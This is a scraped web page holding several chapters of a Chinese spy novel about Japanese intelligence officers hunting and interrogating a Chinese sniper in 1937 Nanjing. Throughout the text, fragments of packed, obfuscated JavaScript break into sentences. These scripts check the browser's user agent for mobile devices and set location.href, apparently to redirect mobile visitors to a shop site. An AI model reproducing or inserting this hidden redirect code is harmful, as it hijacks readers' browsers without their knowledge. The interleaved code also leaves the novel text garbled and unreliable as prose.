;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259547|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中国特工,而今天的枪击事件与此有很大关系,我估计……他已经搞砸了,才向阁下您求助的!” 黑木的眉头渐渐舒展开来,他双手后背,重新回到他的办公桌前,傲慢地说道:“前天的作战会议上,松井大将反复强调,今后凡涉及到情报方面的一切事项,均交由我们松机关处置,他竟然置若罔闻……” 渡边雪奈跟着走到黑木对面,说道:“他之所以染指,还不是想立功想疯了……” 渡边雪奈继续道:“您也知道,自八月上海圣战以来,他们特高课一直成绩平平,无所作为!” 黑木的表情突然严肃起来:“我们松机关自成立之日起,一定要精诚团结,干出一番大大的成绩,不辜负松井将军的厚望!” 渡边雪奈立即将身体正了正大声道:“是!” 黑木从衣架上取下他的大衣,边走边说:“我们走!” 三辆军用三轮摩托,一辆黑色轿车,一行人出了黄浦路,沿着中山东路,向着南京国际安全区方向风驰电挚而去。 黑木带着渡边赶到安全区时,已是下午四点。 快速行驶的汽车在便民烟卷店门前的马路上戛然而止。 一名日本士兵走上前,打开车门。 首先出来的是渡边雪奈。 黑木瞳接着从车里探出身子,边下车边把军帽戴在头上。 川上麻衣赶紧上前,向黑木敬了个军礼。 黑木并未正眼瞧他,黑木骨子里一直看不起这个北海道的农民,从很多事情上可以看出,川上麻衣立功之心切,甚至到了不择手段的境地。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第38章 盘查 应天教会医院院长冯·玛丽被带到黑木的面前。 五十岁的冯·玛丽女士至今未婚,来自于美国西部地区的波特兰,这个素有“玫瑰之城”称呼的海洋性气候的城市,长年的潮湿空气使得她的皮肤一直保持水润,无意间就隐藏了她年龄的秘密,怎么看都不像是一位年届五十的女人。1927年4月,冯·玛丽跟着一艘美国商船来到中国上海,时逢国民党右派发动反对左派和共产党的武装政变,她厌倦了上海这座城市处处充斥着的血雨腥风和白色恐怖,就来到了南京,这一呆就是十年。 圣经中说:“你要尽心、尽性、尽意,爱主你的神。”这是诫命中的第一,且是最大的。笃信基督的冯·玛丽一直恪守“荣神益人、爱人如己”的信条,并将应天教会医院视为布施的载体,久而久之,这家医院在南京市民心中被烙上了“善”的印记,一时间应天教会医院闻名遐迩、风生水起。 黑木用生硬的中国话问道说:“你就是冯·玛丽,这家医院的院长?” 来者不善。 冯·玛丽已听说了下午在楼下发生的枪击事件,还听说自己医院的一名医生牵涉其中。 冯·玛丽也用生硬的中国话答道:“我是。” 黑木指着李毅的尸体问她:“你认识他吗?” 业已毙命的李毅双目圆睁,满脸是血。 冯·玛丽连忙在胸口划了个十字:“他叫李毅。” 黑木:“你知道他的真实身份吗?” 冯·玛丽:“我只知道他是我们的医生。其它的我一无所知。” 黑木皱了皱眉,他觉得眼前的这个美国女人比自己还要傲慢,心中愠怒,便想好好刁难一下她:“你去把你们医院所有的员工都叫到这里集合。” 冯·玛丽:“我做不到,他们还有病人。” 黑木一直克制着自己的情绪,不想发作,但这时已忍无可忍,便对一旁的川上叫道:“你的,去把医院的所有的工作人员都押到这里!” 冯·玛丽大声抗议道:“这是南京国际安全区,是得到你们政府承认的,你们不要胡来!” 冯·玛丽知道她的抗议多么苍白。在所谓的安全区里,日本人杀人、抓人甚至强奸妇女这样的罪恶行径每天都在上演。 半个小时后,将近五十名医院的工作人员都被集中到这条马路上。 曲思秋也在其中。 黑木站在人群面前,巡视了几个来回,正待问话,渡边雪奈带着两个士兵走到黑木身边,低声道:“大佐阁下,我们在这家医院宿舍楼后面,发现一根绳索,我安排人爬上去,在天台上发现了这个。” 渡边把手中的一颗子弹的弹壳递到黑木手里。 黑木凝视着这枚弹头,然后喊了一声:“工藤君。” 工藤夕贵上前,接过黑木手里的弹壳,稍稍瞟了一眼:“大佐阁下,这是毛瑟98K狙击步枪的子弹。” 黑木:“这么说,在南京城,确实存在中国的狙击手?” 工藤:“是的,长官!” 黑木把头又转向人群,高声道:“你们有谁认识一名叫李毅的医生?” 没有人回答。 黑木气得一下子拔出指挥刀,看见第一排站着一名年轻的女孩,就把刀架到了她的脖子上,恶狠狠的问:“你的,知道什么?” 女孩是名护士,刚从医校毕业不久,来医院才两个月,确实没听说过李毅,她脸色煞白,连连摇头。 冯·玛丽见此一幕,大声质问黑木:“你到底要干什么?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259548|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 黑木头都没回,打了个手势,两名日本士兵连忙上前,把她架到稍远处。 黑木说:“我数到10,如果这里还没有人站出来对我说点什么,我就杀了她!1……” 当黑木才数到“2”时,人群中突然有人喊道:“我知道他。” 众人纷纷把眼光投向发生处。 是曲思秋。 一个去年才从医科学校毕业的女孩。 这里面很多人都认识李毅,并且还相当熟悉,“不就是说说李毅的情况吗?”这是一个看似简单易如反掌的事儿,但就是没有人敢站出来承认,现场日本人营造出的恐怖氛围加上最近日本人在南京大肆屠杀无辜市民的传闻,已让他们噤若寒蝉,多一事不如少一事,那里还有勇气与胆量在众目睽睽下站出来! 众人心中皆舒了一口气,但同时也不禁为曲思秋暗暗担心。 黑木看到了一个年轻漂亮穿着白色大褂的少女,她的美和渡边雪奈完全是两种风格,后者之美娴静中透出一股清新。 黑木脸上游过一丝笑容:“你的,上前!” 曲思秋从人群中走上前去。黑木收起刀。刀下的女孩感到刀光的压迫突然消失。 曲思秋从女孩身边擦身而过,女孩不由叫道:“思秋姐……” 曲思秋看了她一眼,微笑着点点头。 黑木不等曲思秋站定,就道:“你的,快说!” 曲思秋:“我和他很熟悉……” 她看到躺在地上的李毅,血迹模糊,面目狰狞,想起他今天上午还跟她开过玩笑,问她到底有几个亲哥哥……李毅的音容笑貌历历在目,可 如今已魂归天堂,曲思秋心中涌起无限悲怆。 这章没有结束,请点击下一页继续阅读! 第39章 蛛丝马迹 陶楚歌飞快地迎了上去。 老者正是赤盟会会长陶天阙。 黑木疾步迎上去,对佐方鞠了一个躬,嘴里问候道:“将军。” 佐方向黑木介绍道:“黑木君,这是南京自救会会长陶松林老先生。” 黑木又向老者鞠了一个躬:“陶老先生好。” 陶天阙微微低头回了个礼:“刚有安全区拉贝先生给我打来电话,言午后在安全区发生一起骇人事件,且死亡数人。适逢佐方君拜访老朽,特一道前来探个究竟。” 黑木来南京时间很短,但对陶天阙这个名字却不陌生。陶天阙是地地道道的南京人,早年留学日本,归国后创办实业,后来开发汤山地热,首建中西合璧的私人温泉别墅,取名陶庐,是各方政要修身养性、疗养身心的理想之地。就连松井将军来南京不久,也慕名而去。他还是从业律师并兼任南京律师公会会长,历任金陵政法学校校长、江苏咨议局议院、江苏银行检查员、南京总商会法律顾问等职。尤其是他创办的赤盟会,更是如雷贯耳,会众万余。除此之外,他也是一位虔诚的道教信徒和宗教慈善家,开山筑路、引水凿泉,造福一方,在南京享有极高的名望。 黑木:“劳陶老先生操心,不过事态已平息,我们松机关正在抓紧侦破。” 陶天阙:“松机关?老朽怎么从未听说过?” 佐方指着黑木介绍道:“松机关是我们松井将军亲自筹办的南京最高情报机关。这位就是松机关的代理机关长黑木瞳大佐。” 黑木正想伸手去握陶天阙的手,一名日本士兵飞奔而至:“报告大佐阁下,渡边小姐请您速去宿舍楼315房间。” 这一停顿,陶老先生已转过身去。 冯·玛丽听闻赤盟会会长陶天阙在她医院楼下,匆忙赶来。 陶天阙与冯·玛丽都是南京慈善界的名人,二人早已熟识。 冯·玛丽老远就向陶天阙问好:“陶老先生可好!” 陶天阙苦笑一下:“国将不国,一个好字何从谈起。” 佐方听到这样的对话,有些不自在,就对黑木道:“我与阁下一同前去看看。” 二人在一众士兵的簇拥下离去。 陶天阙看着佐方的背影说道:“自首都沦陷,我陶某人已是无根之萍、无树之藤喽!” 冯·玛丽耸耸肩,也苦笑起来:“陶老先生要不到我办公室小坐一下如何?” 陶天阙对跟在身后的陶楚歌说:“歌儿,你先去,我和你们院长说会话。” 陶楚歌应了一声,走进了医院。 医院的大厅已有数名日本士兵把守。 陶楚歌想起了曲思秋,心中挂念,便去找她。 曲思秋已不在她的办公室。 …… 林赤坐在靠窗的病床上,正闭目养神。 曲思秋走到他身边,用手轻轻推了他一下。 林赤睁眼:“日本人是不是在调查李毅的事情?” 曲思秋点头,转头四处打量了一下,低下头在林赤的耳边道:“日本人已开始搜查医院。” 林赤话题一转:“医院的开水间在几楼?” 曲思秋没想到林赤此时还想起打开水,对眼前发生的事好像一点也不在乎,没好气答道:“在一楼最里面。” 林赤拎起水壶。 曲思秋远远跟在身后。 林赤忽然想起什么,在前面等到曲思秋走近,轻声道:“那东西你藏好了吗?” 曲思秋知道他所说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259549|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的是密码本,便报以肯定的眼神。 这时,陶楚歌到了,一见到了曲思秋就喊道:“思秋姐。” 林赤从陶楚歌身边擦肩而过。 陶楚歌正好撞见他们在交流的一幕:“他是你的病人?” 曲思秋嗯了一声:“楚歌,你找我有事?” “谢谢你!”陶楚歌又说:“思秋姐,你真勇敢!” 曲思秋正想回话,突然川上麻衣带着几名士兵,大老远就喊道:“所有人立即回到自己的房间!” 曲思秋一看到川上手里抱的东西,心猛地一沉。 …… 宿舍楼315房间。 李毅睡觉的那张床板被人翻了过来,床板的正中间,露出一块方形藏洞,洞里空无一物。 渡边雪奈指着藏洞:“很显然,这就是藏密码本的地方。” 佐方抛出了他的见解:“拿走密码本的这个人,对这间宿舍很熟悉。” 黑木似乎没在听他们说话。 他的眼光落在地上。 黑木铮亮的皮鞋前,躺着一支大半截的烟卷。 烟卷被踩踏得扁扁平平。 黑木弯腰捡起,仔细端详。 是一根“三炮台”的烟卷。烟卷看起来只燃烧了三分之一。 黑木用两根手指夹着烟卷,在烟店老板程绍忠的眼前晃了晃:“程老板,你知道这是什么牌子的香烟吗?” 程绍忠乘黑木的手指停留之际,将烟卷一把捉住,看完立即答道:“回太君,这是‘三炮台’。” 黑木:“最近有人去你店里买过这种牌子的烟吗?” 小主,这个章节后面还有哦,请点击下一页 继续阅读,后面更精彩! 第40章 甄别 黑木带着一帮人跑到医院楼下。 黑木命令道:“川上君你带三名士兵在这里警戒,所有人只许进不许出,凡是不听劝诫者一律格杀!医院每层楼安排一名士兵,不许任何人走动!余下的分成三组,佐藤君、渡边小姐还与我每人带领一组将医院房间逐一检查,重点检查医院病人,凡是手上有老茧、胸口有伤者一律现场扣押,并将可疑者全部押解到金陵女子文理学院的操场上,再行甄别!此外,此人可能藏有武器,大家一定小心!行动!” 命令一出,在场的日本人立即行动起来。 川上带着三名士兵立即将医院的出口封锁。 三名士兵分别把守在每层楼的楼梯口。 松机关的佐藤少佐带着两名士兵直奔三楼而去。 渡边雪奈带着两名士兵负责二楼。 黑木带着余下的士兵准备搜查一楼。 冯·玛丽听到楼下的喧嚣声,和陶天阙并肩而来。一看这阵势,玛丽院长不满地嚷道:“你们还没闹够吗?你们这是要干什么?” 佐方见状忙道:“玛丽女士,我们怀疑枪手就隐藏在你们医院里,而且打扮成病人的模样!” 冯·玛丽:“不、不,这怎么可能,你们有证据吗?” 黑木本不想理会,但看到一旁的陶天阙脸有怒气,就从一直跟在他们身后的程绍忠手里把两件衣服接了过去,眼露凶光:“证据?这就是凶手所穿的衣服,是从你们医院的房间里找到的,难道这个证据还不够吗?” 说完不再理她,扬长而去。 林赤此时斜躺在病床上,内心已不平静。 他从四周传来的嘈杂声音中判断出日本人开始搜查病房了。 川上手里抱的东西,林赤也正好看到了,而且他再熟悉不过,他知道那就是自己脱下的上衣。 一件外套,一件内衣,被曲思秋藏在了三楼手术间里的一个塑料桶内。 如今,被日本人翻了出来。 外套他倒不担心,兜里的一盒子弹已被他藏进了蓄水池里,那个蓄水池高度接近三米,日本人不太容易会发现。口袋里唯一留下的只是一包三炮台香烟。林赤最担心的是那件内衣,他知道这一段时间的剧烈运动,伤口必是撕裂开了,内衣胸口上定会渗有血迹…… 正想着,门口一阵骚动,林赤看到一个穿着日军军服的年轻女人带着几名士兵进了房间。 这间病房共有十二名病人,全是男性。 果不出林赤所料,日本女人检查的重点就是有没有胸部外伤。 还有就是查手上是否有可疑的老茧。 很快,这名日本女人就发现了一名病人身上的疑点。此人三十来岁,不但胸口有伤,而且双手长满厚厚的老茧。 日本人如临大敌,命令他双手抱头蹲在墙角。其中一名日本士兵一直用枪指着他。 轮到了林赤。 一个日本士兵一边打着手势一边命令林赤把双手抬起。 林赤装作听不懂。 日本士兵极不耐烦地把林赤的双手拉起,粗暴地拽到女人的面前。 林赤的手心朝上,平平的伸展在女人的面前。 日本女人将手心紧贴在林赤的一只手掌上,从手腕处慢慢向手指处滑去……然后再换成另一只手掌,动作同样纤细,像是在鉴定一件艺术品是否存在瑕疵。 她的面部平静如水,根本看不出喜忧。 整个过程下来,林赤从她微凉的手心中,忽生出一种毛骨悚然的感觉。 鉴定完林赤的双手,日本女人向身旁的一名士兵示意了一下。 日本士兵上前,开始拆林赤脸上的纱布。 脸上的纱布被一层一层剥开,出现在日本女人面前的是一张年轻俊朗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259550|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的脸庞。 日本女人看到了一双冷峻而深邃的眼睛。 女人严肃的表情忽然间有所放松,但很快开始盯着林赤的头细看。林赤心中明白,那是她在寻找林赤脸部的伤口。 她什么也没找到。 女人并不甘心,抬起左手在林赤的脸上轻轻地摩挲着。接着把手从林赤耳根掠过,在林赤的后脑及发际抚摸了一遍,手再次回到林赤的面部,在林赤的下巴处停留,似乎在感受林赤的胡茬与她掌心的摩擦…… 林赤心里非常别扭,把头向一边转了过去。 女人又伸出右手,把林赤的脸强扭了回来。 这次林赤毫不犹豫的把她的手甩掉。 却不见女人生气,她把眼光落在了林赤的胸口。 林赤的胸口也缠裹着纱布。 女人并没有向身旁的日本士兵做出任何示意,而是慢慢的伸出左手,将林赤胸口的纱布接头一下子拉开…… 映入女人眼帘的,是林赤健硕的胸膛。 右胸上,那枪伤远未痊愈,伤口上呈现出一丝褐色。 女人将整个手心贴在林赤的胸口上,像是在感知林赤的心跳,接着,掌心微合,再抬起,只留下五根手指贴在林赤的胸口上,再见她收起其它四根手指,唯独留下食指,食指在林赤的胸膛缓慢的移动,待移至林赤的伤口处,她微微一笑,将食指沿着林赤的伤口用力按了下去…… 林赤眉 头微微皱了一下。 女人看林赤并不屈服,竟然连哼一声都没发出,她的脸上绽放出更灿烂的笑容。 她的食指再次用力! 林赤额头上的汗珠大颗大颗渗出。 女人用右手的两根手指托起林赤的下巴,把头靠近在林赤的面前,眼睛含笑,盯着他足足看了十秒钟,语气带着兴奋:“其它的不用查了,就是他了!” 第41章 露天审讯 包括林赤在内,一共搜出四名嫌疑人。 四人手上都有老茧。只有林赤和他同一病房的一个三十多岁的男人胸口上有伤。 四人被带到金陵女子文理学院的操场上。 一字排开。 应天教会医院的职员们被禁止下班,一个不漏地在操场上站立。 冬天的太阳下山得早,刚刚还在西北方向的清凉山上空游荡,眨眼的功夫,就潜入了地平线下,再也不见踪迹。 南京的夜,开始粉墨登场。 两天下来,马路和屋顶上的积雪基本没怎么消融。太阳离去,城市交由黑暗和寒冷接管,而风则是它们忠实的粉丝,乐此不疲地摇旗呐喊着。 操场的东侧,即是那栋美式教学楼,红墙砖上的两盏大功率白炽灯已被命令打开,灯光把林赤四人的脸映衬得更加惨白。 人群中的曲思秋站在第一排,她的眼睛里含着泪光。 曲思秋执着地认为,林赤之所以能站在这里,完全是拜她所赐。她太粗心了,她居然连两件衣服都藏不好。 她知道凶残的日本人什么都能干得出来,当下一个中国人的生命对他们而言,如同草芥。 她愁肠寸断、心如刀绞。 好几次,曲思秋的目光与林赤的不期而遇,她竟发现林赤眼睛里流露出的并不是焦虑,也不见恐慌,甚至还有一丝淡淡的笑意。 曲思秋认为,这是林赤在安慰她,是不让她心存负疚。 林赤的淡定反而让曲思秋的心撕裂般的痛。 曲思秋一直在想,我要怎么才能救他。 …… 台前的灯光下,川上麻衣背着手在不远处站立,佐方身后的是陶天阙和冯·玛丽。 正中央,渡边雪奈正和黑木瞳低声交谈着,黑木瞳一边听着,不时把目光投向林赤。 从他们的言行举止可以看出,林赤是这场饕餮盛宴的一道主菜。 黑木之所以把林赤四人押到这里,并不直接带回审问,原因有二,一者,他需要挖出给刺客提供帮助的同伙,这名同伙应该是应天医院的医生,二者,他要让刚上任自救会会长的陶天阙欣赏他是如何用这些有限的食材,烹饪出一道色香味俱全的美食,免得他总是拿着鸡毛当令箭,以所谓自救会会长的名义,处处刁难大日本皇军。 渡边小姐跟他交谈的所有内容,核心只有一个,眼前的这个衣着单薄的年轻人,最有可能是这起事件的当事人。 他胸部的伤口,明显是子弹伤,对方射中他的距离应该很远,以至于子弹击中他时已是强弩之末,性命无虞。 他的右手食指,老茧分外厚实,尤其是食指外侧,这是长期扣动扳机形成的。 一切准备妥当,黑木开始烹饪美食。 他命人把林赤带到台前正中间。 林赤低着头。 黑木用他的指挥刀刀鞘将林赤的脑袋抬了抬。 黑木:“你叫什么名字?” 林赤:“林昂。” 黑木:“你胸上的伤是怎么回事?” 林赤:“枪伤。” 黑木很满意。审讯一帆风顺,对方竟没有抵触的情绪。 黑木有意无意地将目光扫过陶天阙,却见他面无表情。 黑木:“你是哪里人?” 林赤:“兰(南)京的” 曲思秋一听林赤这话,心中一乐,愁云顿消,她居然不知道林赤的南京话这么地道。 黑木狐疑地看着林赤,他的中国话还远未到分辨方言的水平, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259551|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但对方语音明显有变化。 黑木想起程绍忠,便喊道:“程绍忠的,哪里去了!” 程绍忠连忙跑到黑木身边:“太君,您有何吩咐?” 黑木:“你的,去和他说话,看看是不是你们南京人。” 程绍忠一下子有了存在感,三两步来到林赤身前。 林赤冷冷地看着他。 程绍忠看着对方眼熟,但一下子想不起来在什么地方见过。对方犀利阴冷的目光似乎要将自己穿透,不由打了个寒颤,来不及多想,清了清嗓子:“你兰(南)京哪块的?” 林赤不理他。 程绍忠:“你跟我韶韶(说说)啊?” 林赤终于开口了:“你个呆逼,你啊是神经病啊,看你锉样,对过的小鬼子是你老子还是你爹啊,你胡里八涂认贼作父,你啊对得起你家祖宗啊?……” 人群忽然哄笑起来。 一旁的陶天阙也不由得笑了。 冯·玛丽虽然没听得明白,但看大家笑得这么欢,便也跟着微笑着。 曲思秋更是笑出了眼泪,她看到林赤不苟言笑,似乎真把自己当成了南京人一样。 程绍忠脸色青一块紫一块,尴尬得无地自容,讪讪地回到黑木身边。 黑木用询问的眼神看他。 程绍忠吞吞吐吐道:“是南京的……好像是六合那块的……” 黑木没听懂他的话:“你说什么?” 程绍忠改口道:“他好像是南京六合人。” 现场苦心营造的杀气忽然被林赤这一番话消解,气氛一下子得到缓和。黑木有些沮丧,无力地挥挥手,让程绍忠赶紧走。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第42章 鞭刑 金陵女子文理学院的操场上,矗立着一根铸铁旗杆,旗杆高十多米,足有电线杆般粗细。 旗杆本来是用来升国旗的,如今却是用来羁绊人。 林赤被反手绑在上面。 夜,湿冷的风。 操场周围草地中的虫,早已躲进了深穴,不再弹唱。 云霾中的星星闪着幽冷的光。 川上麻衣提着林赤的鞋回来了。 曲思秋的心不由提了上来,她想一旦证据坐实,林赤将凶多吉少,再多的借口都无济于事。这可是铁证! 所有人都盯着川上手里的那双胶鞋。 那是一双“劳动牌”的胶鞋,是南京劳动鞋厂的最热销产品,胶底黑帮,在南京城再普通不过,结实耐穿,价格便宜,还不怕淋雨。 黑木心里有些激动,一旦得到准确验证,他则首战告捷。他不但挖出了藏匿在南京城的狙击手,还拔掉了复兴社埋在南京的一颗钉子,这是多大的功劳!如此一来不但松井大将对他赞许有加,其他的那些对他担任松机关机关长颇有微词的军官们也会刮目相看。 黑木思绪一下子飘得很远,正沉溺其中,却见川上一脸失望。 黑木问道:“和现场留下的足迹吻合吗?” 川上道:“报告大佐,脚印的外形有些类似,但是……” 黑木心一凉:“但是什么?” 黑木大声回答道:“鞋底的纹路完全不一样,完全不是同一款鞋!” 黑木更失望了:“你可看仔细了?” 川上:“属下反复印证,绝无差错!” 这样的结果连渡边雪奈也不敢相信。她几乎是从川上的手里把鞋抢了过去,凝视良久,但也理不出头绪。 渡边雪奈甚至开始怀疑自己,难道是自己太自以为是,弄错了? 最高兴的当属曲思秋,她终于为林赤松了口气,但同时也心中存疑,难道林赤并没有参与袭击? 黑木心中快速地盘算着。 如果这不是一场露天审讯,这样的结果他大可不必如鲠在喉,可是围观者中不但有他想挫其锐气的南京自救会会长陶天阙,还有一位他曾经的上司。 黑木初来乍到南京,与佐方共事了几天,但仗着松井的钦点和佐方即将离任的传言,黑木并未把官高他一级的佐方放在眼里,工作中不仅阴奉阳违,还不时撂挑子。不为别的,只因为他是名空降军官,能力有口皆碑!可针对这件事,如果仅仅用这些证据来固定对方的“凶手”身份,连黑木自己都觉得牵强。 胸上的伤口并不是直接证据,手上的老茧也说明不了问题,唯一可以铁板钉钉的现场“犯罪”脚印却锁定不了眼前的这位年轻人。 一定是某个环节出错了! 黑木苦思冥想。 他不想给佐方留下口实,但心有不甘。 渡边雪奈站出来了,这个女人沉浮官场时间不久,但深谙长官的心思,这也是渡边二十刚出头就官至少佐的原因,无论是谁,只要能够时刻把握领导的思想,不论这个名利场有多浑浊,他也必定会左右逢源、如鱼得水,何况渡边还天生一副娇丽的容颜! 黑木不愿在曾经的上司面前选用最彰显无能的暴力手段,来逼对方就范,那她渡边来做好了。 这就是这个女人的可怕之处。 渡边竟不向黑木请示,径自来到林赤面前。 她含着笑看林赤。 渡边骨子里是欣赏这个年轻的男人的,尤其是他的那种刚毅,以及冷傲的眼神,加上健壮的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259552|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体魄,曾一度让她心驰神摇。 一种女人天生的征服欲,像是一朵火苗,在遇到干草后,火光从渡边的内心熊熊而起。 渡边雪奈从一名士兵身上抽出了一根皮带。 她把皮带在空气中急速的抖了一下。 皮带与空气产生摩擦,发出了清脆的“啪啪”声。 她不再迟疑,接着将皮带狠狠地抽打在林赤身上。 这一鞭,似乎抽在了曲思秋的身上,她连忙紧紧地捂住了自己的嘴。 两颗泪珠悄然滑落。 这一鞭,也抽在了在场所有中国人的身上,他们同时感觉到了痛。 这一鞭,也抽在了善良的冯·玛丽身上,她焦急地喊了声:“My god!”,紧接着骂了句脏话:“Fuck you!” 陶天阙用实际行动表示了他的抗议,他跑到黑木身旁厉声说:“你们住手!” 黑木无可奈何地耸了耸肩。 …… 这第一鞭,抽在了林赤的肩上,林赤眉头都没皱。 渡边更兴奋了,她的内心深处最黑暗的那扇门被打开了。 她要让眼前的这个男人屈服,求饶,甚至哭泣,实在不行,哪怕哼一声也好。 渡边的第二鞭直接朝林赤的胸口而去。 也许是太用力的缘故,这第二鞭立即撕裂了林赤的伤口,血像是潮水一般涌出,很快濡湿了林赤的胸襟。 尽管如此,林赤还是没发出声音。 渡边看到他紧咬牙关,眼睛中露出轻蔑的神色,兴奋的肥皂泡马上在空中破碎了,但她立即又吹了一个愤怒的肥皂泡…… 小主,这 个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第43章 星光下的牵手 陶楚歌走后不久,林赤悠悠醒来。 曲思秋先是感觉林赤的脑袋动了一下,低头看他,林赤眼睛微微睁开。“你醒啦!”曲思秋关切的问,语气中透着欣喜。 林赤:“日本人走了吗?” “早滚蛋了!总有一天,会让他们偿血债血还!”曲思秋恨恨地说。 林赤看到曲思秋低着头在和他说话,她的气息扑面而来。 林赤这时忽然才发现自己是躺在曲思秋的怀里,而曲思秋竟是搂着他的,心中一阵说不出的狂乱,心跳加速,这一刻,内心涌起一股异样地暖流。 他突然觉得人生如此美好。 林赤本能地试图坐起来。 林赤不醒还罢,他的忽然苏醒让曲思秋一下子倍感不自在。她从未与和她年纪仿佛的异性有过肌肤之亲,哪怕是一次牵手,更何况是把对方贴在自己的胸前……星光下,她的目光与林赤相遇,脸一下子红了。 曲思秋也本能地扶起林赤,但又担心他体力不支:“你……怎么样……有没有问题?” 曲思秋居然有些口吃。 林赤是多么不愿爬起,不愿离开那让他内心的灵魂得以栖息的港湾。 “我好得很,我的命硬着呢。”林赤笑着,尽量消除彼此的尴尬。 曲思秋手忙脚乱地扣上上衣的纽扣。 两人接下来都不知说什么好,长时间的沉默。 林赤调整了一下身体的姿态,慢慢把身子靠在旗杆上,仰头看天。 曲思秋刚想找个话题来打破沉闷,林赤倏然抓住了她的手。 很用力,他像是生怕曲思秋挣脱。 人们常说,眼睛是心灵的窗户,其实手也是,甚至比眼睛更能洞察人的心思。曲思秋一点挣脱的意思也没有,她的手在接受到林赤传递的力量后,也跟用着力。 两个年轻的男女紧紧地依偎在一起,没有人说话,所有的话此时此刻都是多余的。 曲思秋把脑袋靠在林赤的肩上,她已忘记了林赤的伤。 在这个动荡的年代,尤其对于曲思秋这样的弱女子而言,在她们的内心,总是希望能够找到一个宽厚的肩膀让她们依靠。 两个年轻人的心,第一次离得这么近…… 星星开始黯淡,东方出现了一丝光亮,接着,一轮残缺的月亮爬上了树梢,四周像是笼罩了一层薄薄的轻纱。 曲思秋忽然想到了一个问题,就问林赤:“你到底是上海人还是南京人?” 林赤知道她一定想起傍晚日本人审讯他的事了,不由得笑了。 曲思秋看他笑而不答,着急起来,就使劲捏他的手:“你快说,快说嘛!” “你猜?”林赤问。 曲思秋:“你这个人太神秘了……南京话这么难学……我觉得你原本就是我们南京人,你是不是故意骗我们的?” 林赤得意地说:“南京话有什么难学的,你只要掌握几个骂人的词汇就可以说了!再说,我不但会说南京话,还会好多地方语言呢!比如英语、法语……还有日本话!” 曲思秋疑惑地问:“你会说日语?又是骗我的吧!” 林赤:“不信改天你问问你哥,看我有没有说谎。” 曲思秋:“那你还没回答我,你到底是哪儿人呢。” 林赤:“阿拉上海尼。” 林赤继续道:“去年我们陆军军官学校来了个南京六合的学员,一口南京普通话,我觉得很有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 